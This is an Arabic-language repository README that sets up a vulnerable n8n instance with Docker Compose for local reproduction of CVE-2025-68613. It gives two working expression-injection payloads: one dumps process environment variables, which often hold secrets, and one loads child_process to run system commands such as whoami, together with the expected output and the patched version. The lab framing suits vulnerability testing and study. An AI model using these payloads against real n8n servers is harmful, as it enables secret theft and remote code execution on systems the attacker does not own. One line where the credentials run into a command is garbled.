
تحليل CVE-2025-68613
يوفر هذا المستودع إعدادًا بسيطًا لـ Docker Compose يقوم بتشغيل مثيل n8n ضعيف للاختبار المحلي لـ CVE-2025-68613.
تشغيل الحاوية:
docker compose up -d
افتح n8n في متصفحك:
سجل الدخول باستخدام بيانات الاعتماد الافتراضية المحددة في docker-compose.yml:
adminpassworddocker compose down
هذه البيئة مخصصة للاختبار المحلي المعزول فقط. لا تعرض هذا المثيل للإنترنت العام أو أي شبكة غير موثوقة. احتفظ به في قطاع شبكة خاص محلي فقط ومنفصل عن أنظمة الإنتاج. استخدمه على مسؤوليتك الخاصة.
بمجرد تشغيل الحاوية، يمكنك الوصول إلى واجهة n8n على http://localhost:5678. لاختبار الثغرة الأمنية، ستقوم بحقن حمولة JavaScript ضارة في حقل تعبير.
خطوات إعادة الإنتاج:
اختبار 1: تسريب متغيرات البيئة تحاول هذه الحمولة الوصول إلى متغيرات بيئة العملية، والتي غالبًا ما تحتوي على أسرار.
{{ (function() { return this.process.env; })() }}

اختبار 2: تنفيذ الأوامر عن بعد (RCE) تحاول هذه الحمولة تحميل وحدة child_process لتشغيل أوامر النظام (على سبيل المثال، whoami).
{{ (function() {
var require = this.process.mainModule.require;
var execSync = require('child_process').execSync;
return execSync('whoami').toString();
})() }}

النتيجة المتوقعة: إذا كانت البيئة ضعيفة، ستعرض لوحة "الإخراج" لعقدة Set نتيجة الأمر (مثل root أو مستخدم n8n) أو كائن JSON يحتوي على متغيرات البيئة. إذا تم تصحيح المثيل (على سبيل المثال، الإصدار 1.122.0+)، فسيعيد الصندوق الرملي كائنًا فارغًا أو خطأ.